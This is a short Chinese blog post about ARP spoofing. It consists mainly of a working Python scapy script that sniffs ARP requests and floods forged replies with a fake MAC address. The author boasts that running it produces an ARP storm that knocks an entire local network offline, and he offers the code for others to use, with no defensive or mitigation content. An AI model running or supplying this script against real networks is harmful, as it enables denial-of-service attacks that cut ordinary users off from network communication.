ARP攻击

    ARP的功能大家应该都知道:不知道某IP的mac地址,则发送ARP广播请求,希望该IP的主机进行ARP回复,这样双方就可以进行通信;那么问题来了:如果,我监听我的网卡,收到任何ARP请求,我立即回复一个错误MAC地址ARP响应,这样双方是否还能通信?甚至,我冒充网关,将网关的MAC地址指向一个错误的地址,是否还能通信?


    本人用python的scapy模块写了一个程序,经过运行,发现只要该程序运行,局域网内产生大量ARP风暴,整个局域网根本不能正常进行任何网络通讯,用户瞬间骂娘,威力相当大。不敢藏私,代码如下:


from  scapy.all import *

while True:
        try:
                        a=sniff(filter='arp',count=1)
                        c=Ether()/ARP()
                        c.src="11:22:33:44:55:66"
                        c.dst=a[0].src
                        c.op=2
                        c.payload.hwsrc="11:22:33:44:55:66"
                        c.payload.psrc=a[0].payload.pdst
                        c.payload.hwdst="00:00:00:00:00:00"
                        c.payload.pdst=a[0].payload.pdst
                        sendp(c,count=10)
                        #发送大量ARP错误数据包,清空用户的ARP缓存中的正确地址
                        
                        print "我们已经攻击了一个用户,他请求的IP地址是 "+a[0].payload.pdst+" ; 该用户的mac地址是 "+a[0].src
        except:
                continue


你可能感兴趣的:(python,arp攻击)